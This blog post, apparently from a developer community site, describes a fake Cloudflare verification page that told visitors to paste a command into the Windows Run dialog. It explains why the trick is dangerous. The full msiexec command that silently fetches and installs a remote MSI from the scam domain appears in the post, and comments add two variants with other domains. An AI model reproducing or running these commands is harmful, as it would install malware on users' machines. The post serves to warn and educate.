How I Almost Fell for a Win+R Human Verification Scam
In today’s digital age, security awareness is just as important as technical skills. While many of us think we can easily spot scams, the truth is that sophisticated attackers use subtle tricks to exploit even tech-savvy users. Recently, I encountered a deceptive and cleverly engineered scam that disguised itself as a Cloudflare verification process. In this blog post, I will break down the details of what happened, explain how the scam works, and share key lessons learned.
The Setup: A Suspicious Link
It started when I clicked on a resource link that led me to the following URL:
https://veriqloudx.com/verfy.msi
At first glance, the site appeared to offer some kind of free software or service—something many users would easily fall for in search of quick tools or access. However, instead of loading a normal webpage, the site redirected me to what looked like a verification page.
The Trap: A Fake Cloudflare Verification
The page displayed a message instructing me to prove I was not a robot by doing the following:
- Press
Windows + R - Paste a command into the Run dialog
- Press Enter
- Enter the verification code provided
The command looked like this:
msiexec SKSIA=1401 /package https://veriqloudx.com/verfy.msi /promptrestart LAPBOS=119 /passive NIANS=299
At first glance, the use of technical terms and a familiar format might appear convincing. However, this is where critical thinking and security awareness come into play.
Technical Analysis: Why This Command is Dangerous
Let’s dissect what this command does.
-
msiexec: This is the Windows Installer command-line utility used to install.msipackages. -
/package https://veriqloudx.com/verfy.msi: This instructs your system to download and install an MSI package from an external, unknown source. -
/passive: This suppresses user interaction, meaning the installer can run silently without prompting the user for confirmation. -
/promptrestart: Prompts the user to restart the system if necessary, commonly used in software installations. -
SKSIA=1401,LAPBOS=119,NIANS=299: These appear to be custom public properties passed to the MSI package. Their exact purpose is unknown without analyzing the MSI, but they could be used to trigger specific malicious behaviors inside the package.
By executing this command, the user essentially grants an unknown program from an unverified source the permission to run silently with potentially broad access to the system.
Why This Looked Suspicious
Several red flags immediately stood out:
No real verification system asks users to run system-level commands.
Cloudflare and other verification providers use browser-based CAPTCHAs or JavaScript challenges, never operating system commands.The domain was untrusted.
veriqloudx.comis not associated with any known vendor or verification service. A legitimate site would use a verifiable domain and SSL certificate.The MSI was being pulled from an external source.
Downloading and executing installers from unknown URLs is a serious risk, especially when prompted outside of official software environments.The use of random property names.
The parameters passed to the installer were vague and likely crafted to hide their true purpose.
The Likely Goal: Malware Delivery
The purpose of this scam is likely to deliver malicious software onto the victim’s machine. Potential outcomes include:
- Installation of a remote access trojan (RAT), granting the attacker control over your system.
- Keyloggers or credential stealers that silently monitor user activity.
- Ransomware payloads that encrypt your data and demand payment.
- Backdoors that persist even after antivirus removal.
All of this can happen without the user being fully aware, especially when the installer is run in passive mode.
Lessons Learned
1. Never run unknown commands in Win + R, CMD, or PowerShell.
No legitimate service requires this kind of manual verification. Treat it as an immediate red flag.
2. Inspect the domain and certificate.
Use tools like VirusTotal or Whois to inspect unknown domains. A legitimate service will have valid certificates and clear ownership records.
3. Avoid downloading executables or MSI files from unknown sources.
Always go through the official website or verified platform when downloading software.
4. Use a virtual machine or sandbox to test suspicious software.
If you must inspect a suspicious file, isolate it in a controlled environment to avoid infecting your system.
5. Spread awareness.
Many people, including those in technical roles, are still vulnerable to such tricks. Sharing experiences can help others stay safe.
Conclusion
Scams are evolving. They now combine psychological manipulation with technical tools to bypass both human intuition and system defenses. This incident served as a reminder that free is never truly free. If something looks too good to be true—or asks you to do something out of the ordinary—it probably has hidden costs.
In today’s world, your attention, access, and data are all valuable assets. Treat them that way. If it’s free, there’s a good chance your data is the real price.
Written By Human Crafted by AI
Aishwary Gathe
Top comments (4)
hi im from indonesia,
I absentmindedly did that — I pressed WIN+R and pasted that "msiexec SKSIA=1401 /package vf-files.com/verify.msi /p" command into RUN. After a moment, the CMD app appeared, and not long after, I immediately closed the CMD window and forcefully shut down my laptop. What should I do now?
learn.microsoft.com/en-us/defender... Try Running Microsoft System Scanner. Which you have to download it from the link. Another Scanner which comes directly with windows MRT, open Win+R typer MRT(Malicious Removal Tool) then run a quick scan. You also can run a full system level scan.
forums.malwarebytes.com/topic/3279...
I had a similar experience. Here's the command:
msiexec SKSIA=1401 /package https://vericloudly.com/verfy.msi /promptrestart LAPBOS=119 /passive NIANS=299.